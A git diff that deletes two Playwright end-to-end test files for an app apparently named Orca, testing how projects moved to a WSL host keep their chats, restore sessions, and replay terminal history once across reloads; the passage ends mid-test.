a/tests/e2e/wsl-move-moved-project-chats.spec.ts b/tests/e2e/wsl-move-moved-project-chats.spec.ts deleted file mode 100644 index 2899a6b70d9..00000000000 --- a/tests/e2e/wsl-move-moved-project-chats.spec.ts +++ /dev/null @@ -1,294 +0,0 @@ -/** - * After a WSL move commits, the moved project's existing chats stay on this computer (owner - * decision, option C): the sidebar lists them under a read-only "Moved to host" entry, - * while the project's terminals stay with the host and are no longer restored here. - */ -import { execFileSync } from 'node:child_process' -import { mkdirSync, mkdtempSync, realpathSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { seedWslMoveCutover } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' -import { seedTestAgentSessionRecordStore } from '../../src/main/runtime/agent-session/records/agent-session-record-store-persistence.test-fixture' -import { structuredAgentSessionTabId } from '../../src/shared/agent-session/view/structured-agent-session-projection' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' -import { - agentSessionLeaseFixture, - agentSessionRecordFixture -} from '../../src/shared/agent-session/lifecycle/records/agent-session-record.test-fixture' - -test.use({ seedTestRepo: false }) - -const GROUP = 'moved-group' -const TERMINAL = 'moved-terminal' -const CHAT_SESSION = 'moved-chat-0001' -const CHAT = structuredAgentSessionTabId(CHAT_SESSION) -const CHAT_LABEL = 'Plan the parser rewrite' -// Visual proof for the PR; outside the repo on purpose. -const PROOF_DIR = process.env.ORCA_D1B7A_PROOF_DIR ?? process.env.ORCA_WSL_USE_HERE_PROOF_DIR - -type SessionTabs = { - tabsByWorktree?: Record - unifiedTabs?: Record - tabGroups?: Record - activeGroupIdByWorktree?: Record -} - -function sessionOf(state: Record): SessionTabs { - const session = state.workspaceSession - if (!session || typeof session !== 'object') { - throw new Error('Expected a persisted workspace session') - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this test seeded the profile and checks each optional field at use. - return session as SessionTabs -} - -/** The chat's durable record on this computer, at rest, in the moved project's worktree. */ -async function seedChatRecord(userDataDir: string, worktreeId: string): Promise { - const record = agentSessionRecordFixture( - agentSessionLeaseFixture({ - sessionId: CHAT_SESSION, - ownerProcess: null, - reservedSpawnToken: null, - claimStatus: 'released' - }) - ) - await seedTestAgentSessionRecordStore(userDataDir, { - records: [{ ...record, location: { ...record.location, workspaceId: worktreeId } }], - sessionTabs: [{ tabId: CHAT, sessionId: CHAT_SESSION }] - }) -} - -/** A terminal and a native chat in the moved project, as a session saved before the move. */ -function seedMovedProjectTabs(userDataDir: string, worktreeId: string): void { - mutateStoppedProfileState(userDataDir, (state) => { - const session = sessionOf(state) - const tab = (id: string, contentType: string, label: string, sortOrder: number) => ({ - id, - entityId: contentType === 'agent-session' ? CHAT_SESSION : id, - groupId: GROUP, - worktreeId, - contentType, - label, - customLabel: contentType === 'agent-session' ? label : null, - color: null, - sortOrder, - createdAt: sortOrder, - ...(contentType === 'agent-session' ? { agentSessionAgent: 'claude' } : {}) - }) - session.tabsByWorktree = { - ...session.tabsByWorktree, - [worktreeId]: [ - { - id: TERMINAL, - ptyId: null, - worktreeId, - title: 'Shell', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 0 - } - ] - } - session.unifiedTabs = { - ...session.unifiedTabs, - [worktreeId]: [ - tab(TERMINAL, 'terminal', 'Shell', 0), - tab(CHAT, 'agent-session', CHAT_LABEL, 1) - ] - } - session.tabGroups = { - ...session.tabGroups, - [worktreeId]: [{ id: GROUP, worktreeId, activeTabId: CHAT, tabOrder: [TERMINAL, CHAT] }] - } - session.activeGroupIdByWorktree = { ...session.activeGroupIdByWorktree, [worktreeId]: GROUP } - }) -} - -async function addRepo(page: Page, repoPath: string): Promise { - return page.evaluate(async (path) => { - const result = await window.api.repos.add({ path }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, repoPath) -} - -async function movedTabs(page: Page, worktreeId: string) { - return page.evaluate((id) => { - const state = window.__store!.getState() - return { - unified: (state.unifiedTabsByWorktree[id] ?? []).map((tab) => tab.id), - terminals: (state.tabsByWorktree[id] ?? []).map((tab) => tab.id), - activeWorktreeId: state.activeWorktreeId - } - }, worktreeId) -} - -test("a moved project's existing chats stay listed and openable on this computer", async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - const root = mkdtempSync(join(tmpdir(), 'orca-wsl-moved-chats-')) - const repoPath = join(root, 'moved-repo') - mkdirSync(repoPath) - const gitIdentity = ['-c', 'user.name=e2e', '-c', 'user.email=e2e@example.invalid'] - execFileSync('git', ['init', '-q', '-b', 'main'], { cwd: repoPath }) - execFileSync('git', [...gitIdentity, 'commit', '-q', '--allow-empty', '-m', 'init'], { - cwd: repoPath - }) - const session = createRestartSession(testInfo) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - const repoId = await addRepo(launched.page, repoPath) - const worktreeId = `${repoId}::${realpathSync(repoPath)}` - await session.close(launched.app) - launched = undefined - - seedMovedProjectTabs(session.userDataDir, worktreeId) - await seedChatRecord(session.userDataDir, worktreeId) - seedWslMoveCutover( - session.userDataDir, - wslMoveCutoverFixture('move-1', 'destination-committed', {}, { repoIds: [repoId] }) - ) - - launched = await session.launch() - const { page } = launched - await waitForSessionReady(page) - // Session History's reveal: the host reads the chat's record and republishes its tab into the - // moved project's worktree, which only the retained entry lists. - const revealed = await page.evaluate( - (sessionId) => - window.api.runtime.call({ method: 'agentSession.reveal', params: { sessionId } }), - CHAT_SESSION - ) - expect(revealed).toMatchObject({ ok: true, result: { ok: true, workspaceId: worktreeId } }) - const entry = page.getByTestId('wsl-moved-project') - await expect(entry).toBeVisible({ timeout: 30_000 }) - await expect(entry).toContainText('moved-repo') - await expect(entry).toContainText('Moved to Ubuntu host') - const chat = entry.getByTestId('wsl-moved-chat') - await expect(chat).toHaveCount(1) - // Read-only: the chat and "use on this computer again" are the entry's only controls. - await expect(entry.getByRole('button')).toHaveCount(2) - // The project's terminal lives on the host now; only its chat is here. - expect(await movedTabs(page, worktreeId)).toMatchObject({ unified: [CHAT], terminals: [] }) - if (PROOF_DIR) { - mkdirSync(PROOF_DIR, { recursive: true }) - await page.screenshot({ path: join(PROOF_DIR, 'moved-project-sidebar.png') }) - } - - await chat.click() - await expect - .poll(async () => (await movedTabs(page, worktreeId)).activeWorktreeId) - .toBe(worktreeId) - await expect(chat).toHaveAttribute('data-current', 'true') - if (PROOF_DIR) { - await page.screenshot({ path: join(PROOF_DIR, 'moved-project-chat-open.png') }) - } - await session.close(launched.app) - launched = undefined - - // The freeze kept the slept terminal for a downgrade, and the chat tab beside it. - const persisted = sessionOf(readPersistedProfileState(session.userDataDir)) - expect(persisted.tabsByWorktree?.[worktreeId]).toHaveLength(1) - expect(persisted.unifiedTabs?.[worktreeId]?.map((tab) => tab.id)).toEqual([TERMINAL, CHAT]) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) - -test('"Use on this computer again" brings a moved project back as it was before the move', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - const root = mkdtempSync(join(tmpdir(), 'orca-wsl-use-here-')) - const repoPath = join(root, 'moved-repo') - mkdirSync(repoPath) - const gitIdentity = ['-c', 'user.name=e2e', '-c', 'user.email=e2e@example.invalid'] - execFileSync('git', ['init', '-q', '-b', 'main'], { cwd: repoPath }) - execFileSync('git', [...gitIdentity, 'commit', '-q', '--allow-empty', '-m', 'init'], { - cwd: repoPath - }) - // The escape hatch, like every WSL move action, answers only behind the internal gate. - const session = createRestartSession(testInfo, { [WSL_HOSTS_INTERNAL_GATE_ENV]: '1' }) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - const repoId = await addRepo(launched.page, repoPath) - const worktreeId = `${repoId}::${realpathSync(repoPath)}` - await session.close(launched.app) - launched = undefined - - seedMovedProjectTabs(session.userDataDir, worktreeId) - await seedChatRecord(session.userDataDir, worktreeId) - seedWslMoveCutover( - session.userDataDir, - wslMoveCutoverFixture('move-1', 'retained', {}, { repoIds: [repoId] }) - ) - - launched = await session.launch() - const { page } = launched - await waitForSessionReady(page) - await page.evaluate( - (sessionId) => - window.api.runtime.call({ method: 'agentSession.reveal', params: { sessionId } }), - CHAT_SESSION - ) - const entry = page.getByTestId('wsl-moved-project') - await expect(entry).toBeVisible({ timeout: 30_000 }) - const listed = () => - page.evaluate((id) => window.__store!.getState().repos.some((repo) => repo.id === id), repoId) - expect(await listed()).toBe(false) - - await entry.getByTestId('wsl-moved-use-here').click() - const dialog = page.getByRole('dialog') - await expect(dialog).toContainText('Your code is not affected') - await expect(dialog).toContainText('stays on the Ubuntu host until you remove it there') - if (PROOF_DIR) { - mkdirSync(PROOF_DIR, { recursive: true }) - // Settled, so the proof shows the dialog rather than its fade-in. - await dialog.evaluate((element) => - Promise.all(element.getAnimations({ subtree: true }).map((animation) => animation.finished)) - ) - await page.screenshot({ path: join(PROOF_DIR, 'use-here-confirm.png') }) - } - // Main reloads the window so the project's whole pre-move session hydrates from disk. - const reloaded = page.waitForEvent('load') - await dialog.getByRole('button', { name: 'Use on this computer' }).click() - await reloaded - await waitForSessionReady(page) - - // The retained row lists again, and the read-only entry goes away. - await expect.poll(listed, { timeout: 30_000 }).toBe(true) - await expect(page.getByTestId('wsl-moved-project')).toHaveCount(0) - if (PROOF_DIR) { - await page.screenshot({ path: join(PROOF_DIR, 'use-here-done.png') }) - } - await session.close(launched.app) - launched = undefined - - // The pre-move session came back with it: the slept terminal and the chat beside it. - const persisted = sessionOf(readPersistedProfileState(session.userDataDir)) - expect(persisted.unifiedTabs?.[worktreeId]?.map((tab) => tab.id)).toEqual([TERMINAL, CHAT]) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-move-restore-lifecycle.spec.ts b/tests/e2e/wsl-move-restore-lifecycle.spec.ts deleted file mode 100644 index bc9c69f8766..00000000000 --- a/tests/e2e/wsl-move-restore-lifecycle.spec.ts +++ /dev/null @@ -1,669 +0,0 @@ -/** - * The restart-style restore a WSL move ends in, from the pane's own daemon checkpoint to what the - * desktop shows across reloads. The distro's orcad is a windowless paired host; the desktop is a - * paired client. The move's export reads the host pane's real checkpoint, the host's installer - * lays it into its daemon's history, and the host's first start of that pane replays it once. - * - * Run: - * pnpm exec playwright test tests/e2e/wsl-move-restore-lifecycle.spec.ts \ - * --config tests/playwright.config.ts --project electron-headless --workers=1 - */ -import { randomUUID } from 'node:crypto' -import { - existsSync, - mkdirSync, - mkdtempSync, - readdirSync, - readFileSync, - realpathSync, - rmSync, - writeFileSync -} from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { z } from 'zod' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { openPairedClientTab, readPairedPaneContent } from './helpers/paired-host-terminal' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - splitActiveTerminalPane, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { - createMovedRepo, - MOVED_BROWSER_URL, - MOVED_TAB, - movedWorkspaceRows, - withMovedRows -} from './helpers/wsl-moved-host-profile' -import { HistoryReader } from '../../src/main/daemon/history/restoration/history-reader' -import { getOrcadMigrationReceivedBlobPath } from '../../src/main/persistence/migrating-orcad-catalog/blob-transfer/orcad-migration-blob-staging' -import { - installOrcadMigrationTerminalHistory, - movedPaneHistorySessionId, - orcadMigrationTerminalHistoryKey -} from '../../src/main/persistence/migrating-orcad-catalog/terminal-history/orcad-terminal-history-installer' -import { getHistorySessionDirName } from '../../src/main/daemon/history/storage/history-paths' -import { readWslMoveSleptScrollbackFromHistory } from '../../src/main/persistence/moving-wsl-projects/terminal-state/wsl-move-slept-scrollback' -import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { seedWslMoveCutover } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-journal-seeding' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' - -const LINES = 2_000 -const LEAF = '6f1b0c3e-8d2a-4c5b-9e7f-1a2b3c4d5e6f' -const DRAFT = 'unsaved words typed before the move' -// What the undo e2e reads of a saved session: its agent records, everything else kept as is. -const SessionWithAgentRecords = z - .object({ - sleepingAgentSessionsByPaneKey: z - .record( - z.string(), - z - .object({ providerSession: z.object({ id: z.unknown() }).passthrough().optional() }) - .passthrough() - ) - .optional() - }) - .passthrough() -const MOVED_AGENT_SESSION = 'e2e-wsl-moved-resume-session' -const UNDO_AGENT_SESSION = 'e2e-wsl-undo-resume-session' -const MIGRATION = { migrationId: 'restore-lifecycle-move', manifestSha256: 'a'.repeat(64) } - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-restore-lifecycle-')) -const printerPath = path.join(scratch, 'print-history.mjs') -writeFileSync( - printerPath, - [ - 'const marker = process.argv[2]', - `for (let i = 1; i <= ${LINES}; i += 1) process.stdout.write(\`\${marker} \${String(i).padStart(4, '0')}\\r\\n\`)`, - 'process.stdin.resume()' - ].join('\n') -) - -const stubAgentDir = path.join(scratch, 'agents') -mkdirSync(stubAgentDir) -writeFileSync( - path.join(stubAgentDir, 'codex'), - '#!/bin/sh\necho "STUB_CODEX_ARGV $*"\necho "STUB_CODEX_CWD $PWD"\necho "STUB_CODEX_OLDPWD $OLDPWD"\nexec cat\n', - { - mode: 0o755 - } -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -/** The daemon history folders under a profile, whichever profile root the host wrote them in. */ -function historyRoots(userDataDir: string): string[] { - const found: string[] = [] - const walk = (dir: string, depth: number): void => { - for (const entry of readdirSync(dir, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue - } - const full = path.join(dir, entry.name) - if (entry.name === 'terminal-history') { - found.push(full) - } else if (depth < 3) { - walk(full, depth + 1) - } - } - } - walk(userDataDir, 0) - return found -} - -function sessionFolders(root: string): string[] { - return readdirSync(root).filter((name) => existsSync(path.join(root, name, 'checkpoint.json'))) -} - -function count(text: string, needle: string): number { - return text.split(needle).length - 1 -} - -type ShownPane = { first: number; last: number; content: string } - -async function readShownPane(page: Page, webTabId: string, marker: string): Promise { - let content = '' - await expect - .poll( - async () => { - content = await readPairedPaneContent(page, webTabId) - return content.includes(`${marker} ${String(LINES).padStart(4, '0')}`) - }, - { timeout: 60_000, message: 'the moved pane never showed its history' } - ) - .toBe(true) - return { - first: count(content, `${marker} 0001`), - last: count(content, `${marker} ${String(LINES).padStart(4, '0')}`), - content - } -} - -test('a moved pane shows its own history once, in its folder, across three reloads, with its browser tab and draft', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - test.skip(process.platform === 'win32', 'POSIX fixture command') - // A move, three reloads and a restart, each booting a full app against a real daemon. - test.setTimeout(900_000) - const root = mkdtempSync(path.join(os.tmpdir(), 'orca-restore-lifecycle-repo-')) - const repoPath = realpathSync(createMovedRepo(root)) - const deep = path.join(repoPath, 'deep') - mkdirSync(deep) - const notesPath = path.join(repoPath, 'notes.md') - writeFileSync(notesPath, 'saved words\n') - const openFile = { filePath: notesPath, relativePath: 'notes.md' } - const marker = `MOVED-${randomUUID().slice(0, 8)}` - const host = await launchHeadlessPairedRuntimeHost({ - pinnedServePort: true, - withoutBrowser: true, - // Stands in for the distro's orcad, the only host that serves moved panes' history. - extraEnv: { ORCA_E2E_WSL_MOVE_DESTINATION: '1' } - }) - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: repoPath, - kind: 'git' - }) - const worktreeId = `${added.result.repo.id}::${repoPath}` - - // The pane before the move: a real daemon session that printed its history, then slept, so - // its final checkpoint is on disk as the move's export reads it. - const before = new Set(historyRoots(host.userDataDir).flatMap(sessionFolders)) - const created = await host.client.call<{ tab: { terminal: string } }>( - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: [process.execPath, printerPath, marker].map(quotePosixShell).join(' '), - activate: false, - select: false, - navigation: 'caller' - } - ) - const lastLine = `${marker} ${String(LINES).padStart(4, '0')}` - // The printer finishes its history before the pane sleeps. - await expect - .poll( - async () => { - const read = await host.client.call('terminal.read', { - terminal: created.result.tab.terminal, - screen: true - }) - return JSON.stringify(read.result).includes(lastLine) - }, - { timeout: 30_000, message: 'the printer never printed its last line' } - ) - .toBe(true) - await host.client.call('worktree.sleep', { worktree: `id:${worktreeId}` }) - let historyRoot = '' - let sessionFolder = '' - await expect - .poll( - () => { - for (const candidate of historyRoots(host.userDataDir)) { - const fresh = sessionFolders(candidate).find((name) => !before.has(name)) - if (fresh) { - historyRoot = candidate - sessionFolder = fresh - return true - } - } - return false - }, - { timeout: 60_000, message: 'the slept pane left no checkpoint' } - ) - .toBe(true) - - // The move's export: the desktop reads that checkpoint as its terminal-history blob, with the - // folder the shell was in (the distro's /proc read stands in as `shellCwd`). - const paneKey = `${MOVED_TAB}:${LEAF}` - const spool = path.join(scratch, 'spool') - const exported = await readWslMoveSleptScrollbackFromHistory( - new HistoryReader(historyRoot), - [{ paneKey, sessionId: decodeURIComponent(sessionFolder), shellCwd: deep }], - 'Ubuntu', - spool - ) - expect(exported.problems).toEqual([]) - const blob = exported.buffers.get(paneKey) - if (!blob) { - throw new Error('the export carried no history for the moved pane') - } - - // The host's import: the moved tab in its session (no binding, no snapshot), and its history - // laid into the daemon's folder by the real installer. - await host.restartServeProcess({ - betweenProcesses: () => { - mutateStoppedProfileState(host.userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this test seeded the profile and writes only these session maps. - const session = state.workspaceSession as Record - Reflect.set(session, 'activeWorktreeId', null) - // The agent's own session file on the host, as the distro keeps it: a resume whose owning - // account cannot be verified starts the agent fresh instead. - const codexHome = host.env.CODEX_HOME ?? path.join(host.env.HOME ?? '', '.codex') - const sessionsDir = path.join(codexHome, 'sessions', '2026', '07', '28') - mkdirSync(sessionsDir, { recursive: true }) - const transcriptPath = path.join( - sessionsDir, - `rollout-2026-07-28T00-00-00-${MOVED_AGENT_SESSION}.jsonl` - ) - writeFileSync( - transcriptPath, - `${JSON.stringify({ - timestamp: '2026-07-28T00:00:00.000Z', - type: 'session_meta', - payload: { id: MOVED_AGENT_SESSION, cwd: deep } - })}\n` - ) - // The pane's idle agent, as the move carries it: resumed in the pane when it opens. - Reflect.set(session, 'sleepingAgentSessionsByPaneKey', { - [paneKey]: { - paneKey, - tabId: MOVED_TAB, - worktreeId, - agent: 'codex', - providerSession: { key: 'session_id', id: MOVED_AGENT_SESSION, transcriptPath }, - prompt: 'finish the task', - state: 'done', - capturedAt: 1, - updatedAt: 1, - origin: 'worktree-sleep', - restoreOnTabOpenOnly: true, - // The command a launch recorded; absolute, since a login shell may reset PATH. - launchConfig: { - agentCommand: path.join(stubAgentDir, 'codex'), - agentArgs: '', - agentEnv: {} - } - } - }) - withMovedRows( - session, - movedWorkspaceRows(worktreeId, { - openFiles: [openFile], - browserTab: false, - daemonHistoryLeafId: LEAF - }) - ) - }) - const received = getOrcadMigrationReceivedBlobPath(scratch, MIGRATION, { - blobKind: 'terminal-history', - key: orcadMigrationTerminalHistoryKey(paneKey) - }) - mkdirSync(path.dirname(received), { recursive: true }) - writeFileSync(received, readFileSync(blob.path)) - installOrcadMigrationTerminalHistory({ - migration: MIGRATION, - root: scratch, - historyRoot, - paneWorktreeId: () => worktreeId, - workspacePath: () => repoPath, - now: Date.now() - }) - } - }) - - const first = await launchPairedElectronClient(host.offer, testInfo, 'restore-lifecycle') - const { environmentId, userDataDir } = first - let client = first - const webTabId = toWebTerminalSurfaceTabId(MOVED_TAB) - try { - await expect - .poll( - () => - client.page.evaluate( - (id) => - Boolean( - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) - ), - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - await client.quitPreservingProfile() - // What the move's seed leaves in this desktop's copy of the host's session. - mutateStoppedProfileState(userDataDir, (state) => { - const held = state.workspaceSessionsByHostId - const partitions: Record = - held && typeof held === 'object' ? { ...held } : {} - const hostId = toRuntimeExecutionHostId(environmentId) - const current = partitions[hostId] - const partition: Record = - current && typeof current === 'object' ? { ...current } : {} - withMovedRows( - partition, - movedWorkspaceRows(worktreeId, { - openFiles: [{ ...openFile, dirtyDraftContent: DRAFT }], - runtimeEnvironmentId: environmentId, - daemonHistoryLeafId: LEAF - }) - ) - state.workspaceSessionsByHostId = { ...partitions, [hostId]: partition } - }) - - const shown: ShownPane[] = [] - for (let launch = 0; launch < 4; launch += 1) { - client = await launchPairedElectronClient(host.offer, testInfo, 'restore-lifecycle', { - reuseUserDataDir: userDataDir - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - Boolean( - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) - ), - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - await openPairedClientTab(client.page, worktreeId, webTabId) - try { - await expect - .poll( - async () => - (await readPairedPaneContent(client.page, webTabId)).includes('STUB_CODEX_CWD'), - { - timeout: 60_000, - message: 'the carried agent never started in the moved pane' - } - ) - .toBe(true) - } catch (error) { - // What the pane shows instead: a refused resume names itself, a plain shell shows its prompt. - const tail = (await readPairedPaneContent(client.page, webTabId)).slice(-800) - console.log(`[restore-lifecycle] launch ${launch} pane tail: ${JSON.stringify(tail)}`) - throw error - } - const pane = await readShownPane(client.page, webTabId, marker) - const resumes = count(pane.content, 'STUB_CODEX_CWD') - console.log( - `[restore-lifecycle] launch ${launch}: first=${pane.first} last=${pane.last} agent=${resumes} chars=${pane.content.length}` - ) - shown.push(pane) - if (launch === 0) { - // The agent resumed in the folder the pane was in (the stub prints where it started). - if ( - ![`STUB_CODEX_CWD ${deep}\r`, `STUB_CODEX_OLDPWD ${deep}\r`].some((line) => - pane.content.includes(line) - ) - ) { - // Diagnostics for a pane that resumed outside its folder: which terminal, from which history. - const listed = await host.client.call('terminal.list', { worktree: `id:${worktreeId}` }) - const movedSession = movedPaneHistorySessionId(worktreeId, paneKey) - const folder = path.join(historyRoot, getHistorySessionDirName(movedSession)) - const read = (name: string): string => - existsSync(path.join(folder, name)) - ? readFileSync(path.join(folder, name), 'utf8').slice(0, 300) - : 'missing' - // A login profile that changes folder or HOME moves every login shell (Blacksmith's does). - const profileDir = '/etc/profile.d' - const profiles = existsSync(profileDir) - ? readdirSync(profileDir) - .filter((name) => name.endsWith('.sh')) - .map((name) => { - const text = readFileSync(path.join(profileDir, name), 'utf8') - return `${name}: ${text - .split('\n') - .filter((line) => /\bcd\b|HOME|PWD/.test(line)) - .join(' | ')}` - }) - : [] - console.log(`[restore-lifecycle] login profiles: ${JSON.stringify(profiles)}`) - console.log( - `[restore-lifecycle] wrong folder: terminals=${JSON.stringify(listed.result)} meta=${read('meta.json')} checkpointCwd=${JSON.stringify(/"cwd":"[^"]*"/.exec(read('checkpoint.json'))?.[0] ?? null)} tail=${JSON.stringify(pane.content.slice(-900))}` - ) - } - // Where Orca started the pane's shell. A login profile that cds (CI runners' does, into - // GITHUB_WORKSPACE) moves every login shell after it starts; the folder it left is OLDPWD. - expect - .soft( - [`STUB_CODEX_CWD ${deep}\r`, `STUB_CODEX_OLDPWD ${deep}\r`].some((line) => - pane.content.includes(line) - ) - ) - .toBe(true) - const moved = await client.page.evaluate( - ({ id, path: filePath }) => { - const store = window.__store?.getState() - const browserUrls = (store?.browserTabsByWorktree[id] ?? []).flatMap((workspace) => - (store?.browserPagesByWorkspace[workspace.id] ?? []).map((page) => page.url) - ) - const file = store?.openFiles.find( - (entry) => entry.worktreeId === id && entry.filePath === filePath - ) - return { browserUrls, draft: file ? (store?.editorDrafts[file.id] ?? null) : null } - }, - { id: worktreeId, path: notesPath } - ) - expect.soft(moved.browserUrls).toContain(MOVED_BROWSER_URL) - expect.soft(moved.draft).toBe(DRAFT) - } - if (launch < 3) { - await client.quitPreservingProfile() - } - } - for (const pane of shown) { - // Every line of the pane's history, exactly once: no second replay after any reload. - expect.soft(pane.last).toBe(1) - expect.soft(pane.first).toBe(1) - } - // The carried agent resumed on the first open only: a reload never resumes it again. - expect.soft(shown[0]?.content).toContain(`resume ${MOVED_AGENT_SESSION}`) - expect.soft(shown.map((pane) => count(pane.content, 'STUB_CODEX_CWD'))).toEqual([1, 1, 1, 1]) - } finally { - await client.dispose() - } - } finally { - await host.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) - -test('"Use on this computer again" after reloads and a restart brings back slept panes live, each with its history once', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - test.skip(process.platform === 'win32', 'POSIX shell commands') - // A move, reloads, a restart and the undo's reload, each booting a full app. - test.setTimeout(900_000) - const root = mkdtempSync(path.join(os.tmpdir(), 'orca-restore-lifecycle-undo-')) - const repoPath = realpathSync(createMovedRepo(root)) - const session = createRestartSession(testInfo, { [WSL_HOSTS_INTERNAL_GATE_ENV]: '1' }) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - const worktreeId = await attachRepoAndOpenTerminal(launched.page, repoPath) - await ensureTerminalVisible(launched.page) - const firstPty = await waitForActivePanePtyId(launched.page) - // The variable keeps the printed lines out of the echoed command. - await execInTerminal(launched.page, firstPty, `M=UNDO; seq -f "\${M}A-%04g" 1 ${LINES}`) - await waitForTerminalOutput(launched.page, `UNDOA-${LINES}`, 30_000) - // Pane A also holds an idle, resumable agent, as a hook-reporting Codex leaves it. - const agentPane = await waitForActivePaneHookDescriptor(launched.page) - const transcriptPath = session.seedCodexResumeRollout(UNDO_AGENT_SESSION, repoPath) - await launched.page.evaluate( - ({ paneKey, worktreeId: wtId, providerSessionId, transcriptPath }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'done', prompt: 'finish the task', agentType: 'codex' }, - 'Codex', - undefined, - { worktreeId: wtId }, - { providerSession: { key: 'session_id', id: providerSessionId, transcriptPath } } - ) - }, - { - paneKey: agentPane.paneKey, - worktreeId: agentPane.worktreeId, - providerSessionId: UNDO_AGENT_SESSION, - transcriptPath - } - ) - await splitActiveTerminalPane(launched.page, 'vertical') - await waitForPaneCount(launched.page, 2, 30_000) - const secondPty = await waitForActivePanePtyId(launched.page) - expect(secondPty).not.toBe(firstPty) - await execInTerminal(launched.page, secondPty, `M=UNDO; seq -f "\${M}B-%04g" 1 ${LINES}`) - await waitForTerminalOutput(launched.page, `UNDOB-${LINES}`, 30_000) - // The move's pause is main's own Sleep: it keeps each pane's identity and final checkpoint. - const slept = await launched.page.evaluate( - (id) => - window.api.runtime.call({ method: 'worktree.sleep', params: { worktree: `id:${id}` } }), - worktreeId - ) - expect(slept.ok).toBe(true) - await expect - .poll( - () => - launched!.page.evaluate((id) => { - const state = window.__store!.getState() - return (state.tabsByWorktree[id] ?? []).reduce( - (n, tab) => n + (state.ptyIdsByTabId[tab.id]?.length ?? 0), - 0 - ) - }, worktreeId), - { timeout: 30_000 } - ) - .toBe(0) - const repoId = worktreeId.split('::')[0] - await session.close(launched.app) - launched = undefined - // Hermetic resume: the agent command echoes its arguments instead of running Codex. - mutateStoppedProfileState(session.userDataDir, (state) => { - const session = SessionWithAgentRecords.parse(state.workspaceSession) - const records = session.sleepingAgentSessionsByPaneKey ?? {} - const paneKey = Object.keys(records).find( - (key) => records[key]?.providerSession?.id === UNDO_AGENT_SESSION - ) - const record = paneKey ? records[paneKey] : undefined - if (!paneKey || !record) { - throw new Error('the pause kept no resumable agent for pane A') - } - state.workspaceSession = { - ...session, - sleepingAgentSessionsByPaneKey: { - ...records, - [paneKey]: { - ...record, - launchConfig: { agentCommand: 'echo', agentArgs: '', agentEnv: {} } - } - } - } - }) - - // The move committed: startup runs its desktop rewrite and retention, as after a real move. - seedWslMoveCutover( - session.userDataDir, - wslMoveCutoverFixture('move-1', 'destination-committed', {}, { repoIds: [repoId] }) - ) - // Moved: the window reloads three times and the app restarts once before the undo. - launched = await session.launch() - await waitForSessionReady(launched.page) - for (let reload = 0; reload < 3; reload += 1) { - await launched.page.reload() - await waitForSessionReady(launched.page) - } - await session.close(launched.app) - launched = await session.launch() - const { page } = launched - await waitForSessionReady(page) - const entry = page.getByTestId('wsl-moved-project') - await expect(entry).toBeVisible({ timeout: 30_000 }) - const reloaded = page.waitForEvent('load') - await entry.getByTestId('wsl-moved-use-here').click() - await page.getByRole('dialog').getByRole('button', { name: 'Use on this computer' }).click() - await reloaded - await waitForSessionReady(page) - - // Back here as a slept workspace: nothing runs until it is opened... - 